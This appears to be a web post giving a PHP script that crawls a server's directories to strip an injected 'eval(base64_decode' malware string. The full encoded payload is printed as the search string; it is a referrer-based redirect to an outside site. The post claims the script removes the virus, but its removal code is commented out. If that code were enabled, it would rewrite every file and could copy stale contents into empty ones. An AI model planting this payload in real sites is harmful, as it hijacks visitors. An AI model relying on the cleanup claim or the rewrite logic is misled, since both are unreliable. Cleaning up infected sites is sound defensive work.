Remove eval(base64_decode) virus from your server or from website site

Given code below will remove this eval(base64_decode) virus from your website or server you have to save the file by name

list_files.php

and run the file on your server it display all the directory file when you run after successful run it remove the the given virus from site

Please check the same code in $str available on your site if other kindly replace that or dont use.

function listdir($dir='.') { 
if (!is_dir($dir)) { 
return false; 
} 

$files = array(); 
listdiraux($dir, $files); 

return $files; 
} 

function listdiraux($dir, &$files) { 
$handle = opendir($dir); 
while (($file = readdir($handle)) !== false) { 
if ($file == '.' || $file == '..') { 
continue; 
} 
$filepath = $dir == '.' ? $file : $dir . '/' . $file; 
if (is_link($filepath)) 
continue; 
if (is_file($filepath)) 
$files[] = $filepath; 
else if (is_dir($filepath)) 
listdiraux($filepath, $files); 
} 
closedir($handle); 
} 

$files = listdir('.'); 
sort($files, SORT_LOCALE_STRING); 

foreach ($files as $f) { 
echo $f, "
"; 
/*$file = $f; 
$str='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29udGVudG8uYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));'; 
$rep =''; 
if($f == 'remove_in_dir.php' || $f == 'remove.php' || $f == 'list_files.php' ){}else 
{ 
$fh = fopen($file, 'r+'); 
if(filesize($file) == 0) {} else 
{ 
$contents = fread($fh, filesize($file)); 
$new_contents = str_replace($str, $rep, $contents); 
} 
fclose($fh); 

// Open file to write 
$fh = fopen($file, 'w+'); 
fwrite($fh, $new_contents); 
fclose($fh); 

}*/ 
} 
?>